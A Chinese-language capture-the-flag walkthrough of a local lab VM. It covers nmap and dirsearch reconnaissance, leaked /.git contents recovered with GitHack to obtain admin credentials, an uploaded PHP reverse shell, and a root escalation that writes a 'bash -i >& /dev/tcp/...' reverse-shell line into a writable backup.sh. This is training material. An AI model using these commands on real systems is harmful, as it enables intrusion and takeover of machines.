靶机搭建
在Virtualbox中打开下载好的靶机,网络配置修改为桥接模式,启动靶机即可。
信息收集
主机发现
nmap 192.168.31.0/24 -Pn -T4
靶机IP:192.168.31.244
端口扫描
nmap 192.168.31.244 -A -p- -T4
根据端口扫描结果可知开放了22,80端口,并且80端口的http服务直接暴露了/.git/(Git是一个被用于协同开发和代码刮玻璃的开源分布式和版本控制系统),可以考虑git信息泄露。
web站点信息收集
访问80端口。
直接访问/.git提示forbidden。目录扫描看看有没有其他信息。
dirsearch -u http://192.168.31.244
看到/.git下还有很多目录文件,一些能访问,大概率就是git信息泄露。根据文件内容猜测用户名是admin。
访问/admin.php,一个登录页面。用户名admin,密码尝试sql万能密码失败并提示不需要暴力破解。
渗透
git信息泄露漏洞
git泄露漏洞产生原因:由于开发人员用git进行版本控制,对站点自动部署,如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
使用githack下载Git存储库获取包含未加密密码。
python2 GitHack.py http://192.168.31.244/.git
到提示的文件夹看Git数据库。在admin.php中发现用户名和密码,admin:st@mpch0rdt.ightiRu$glo0mappL3
访问admin.php成功登录后是文件上传功能点。
利用文件上传getshell
上传反弹shell,用kali自带的php-reverse-shell.php(/usr/share/webshells/php),记得要修改ip和port。
前面目录扫描得到一个路径/upload,猜测文件上传的保存路径是/upload。nc开启监听,访问/upload/php-reverse-shell.php。
# 获得交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
get flag.txt!
提权
eric家目录下不仅有flag.txt,还有backup.sh,可读可写可执行。
在backup.sh中写入反弹shell即可拿到root权限。
# 向backup.sh写入反弹shell
echo 'bash -i >& /dev/tcp/攻击机ip/5555 0>&1' > backup.sh
# 运行backup.sh
./backup.sh
# 攻击机监听端口
nc -lvp 5555
拿到root shell。
get flag.txt!🎆